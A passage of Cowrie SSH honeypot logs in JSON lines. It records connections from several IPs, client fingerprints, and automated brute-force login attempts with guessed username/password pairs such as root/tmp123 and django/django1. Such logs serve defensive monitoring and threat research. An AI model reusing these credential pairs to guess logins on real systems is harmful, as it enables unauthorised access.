f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:39.563349Z","src_ip":"103.84.236.242","session":"bd6d0bf54ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tmp123","message":"login attempt [root/tmp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:40.492056Z","src_ip":"103.84.236.242","session":"bd6d0bf54ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:40.635954Z","src_ip":"91.92.40.36","session":"08bc9ebd3d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:41.729764Z","src_ip":"103.84.236.242","session":"bd6d0bf54ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:41.767651Z","src_ip":"91.92.40.36","session":"01684b651ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:45.816307Z","src_ip":"91.92.40.36","session":"74ae8a88d7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:47.384874Z","src_ip":"91.92.40.36","session":"74ae8a88d7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43272,"dst_ip":"10.17.0.5","dst_port":22,"session":"9861ca6c3a10","protocol":"ssh","message":"New connection: 91.92.40.36:43272 (10.17.0.5:22) [session: 9861ca6c3a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:48.727410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:49.193792Z","src_ip":"91.92.40.36","session":"9861ca6c3a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:49.197109Z","src_ip":"91.92.40.36","session":"9861ca6c3a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:52.672128Z","src_ip":"91.92.40.36","session":"9861ca6c3a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:55.205542Z","src_ip":"91.92.40.36","session":"9861ca6c3a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43320,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d8191231e84","protocol":"ssh","message":"New connection: 91.92.40.36:43320 (10.17.0.5:22) [session: 0d8191231e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:56.214301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:57.583416Z","src_ip":"91.92.40.36","session":"0d8191231e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:57.586507Z","src_ip":"91.92.40.36","session":"0d8191231e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":47766,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e5f0cf97910","protocol":"ssh","message":"New connection: 102.210.148.92:47766 (159.203.135.109:22) [session: 5e5f0cf97910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:59.581114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:59.585626Z","src_ip":"102.210.148.92","session":"5e5f0cf97910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:59.829944Z","src_ip":"102.210.148.92","session":"5e5f0cf97910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":53700,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7e94070d50e","protocol":"ssh","message":"New connection: 14.63.196.175:53700 (159.203.135.109:22) [session: c7e94070d50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:00.499756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:00.504923Z","src_ip":"14.63.196.175","session":"c7e94070d50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:00.713370Z","src_ip":"14.63.196.175","session":"c7e94070d50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django1","message":"login attempt [django/django1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:00.841093Z","src_ip":"102.210.148.92","session":"5e5f0cf97910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omar","password":"123456","message":"login attempt [omar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:01.569197Z","src_ip":"14.63.196.175","session":"c7e94070d50e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:02.087386Z","src_ip":"102.210.148.92","session":"5e5f0cf97910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:02.778980Z","src_ip":"14.63.196.175","session":"c7e94070d50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":45406,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc6c1efb6fe","protocol":"ssh","message":"New connection: 152.32.214.226:45406 (159.203.135.109:22) [session: fcc6c1efb6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:04.441707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:04.446310Z","src_ip":"152.32.214.226","session":"fcc6c1efb6fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:04.660859Z","src_ip":"152.32.214.226","session":"fcc6c1efb6fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123456","message":"login attempt [master/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:05.470524Z","src_ip":"91.92.40.36","session":"0d8191231e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kid","message":"login attempt [root/kid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:05.552895Z","src_ip":"152.32.214.226","session":"fcc6c1efb6fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":43434,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b1890f8bdd","protocol":"ssh","message":"New connection: 181.188.176.242:43434 (10.17.0.5:22) [session: 33b1890f8bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:06.145140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:06.150400Z","src_ip":"181.188.176.242","session":"33b1890f8bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:06.313632Z","src_ip":"181.188.176.242","session":"33b1890f8bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:06.770651Z","src_ip":"152.32.214.226","session":"fcc6c1efb6fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas2025","message":"login attempt [andreas/andreas2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:06.998293Z","src_ip":"181.188.176.242","session":"33b1890f8bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31084,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3897a4058b","protocol":"ssh","message":"New connection: 91.92.40.36:31084 (10.17.0.5:22) [session: 5e3897a4058b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:07.053253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:07.339700Z","src_ip":"91.92.40.36","session":"5e3897a4058b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:07.754364Z","src_ip":"91.92.40.36","session":"0d8191231e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:08.150552Z","src_ip":"91.92.40.36","session":"5e3897a4058b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:08.165559Z","src_ip":"181.188.176.242","session":"33b1890f8bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50376,"dst_ip":"159.203.135.109","dst_port":22,"session":"100e9d9636e6","protocol":"ssh","message":"New connection: 27.71.230.31:50376 (159.203.135.109:22) [session: 100e9d9636e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:09.841978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:09.886676Z","src_ip":"27.71.230.31","session":"100e9d9636e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:11.851357Z","src_ip":"27.71.230.31","session":"100e9d9636e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52624,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb500a5afb7","protocol":"ssh","message":"New connection: 91.92.40.36:52624 (10.17.0.5:22) [session: 2bb500a5afb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:13.286441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:13.561424Z","src_ip":"91.92.40.36","session":"2bb500a5afb7","protocol":"ssh"}
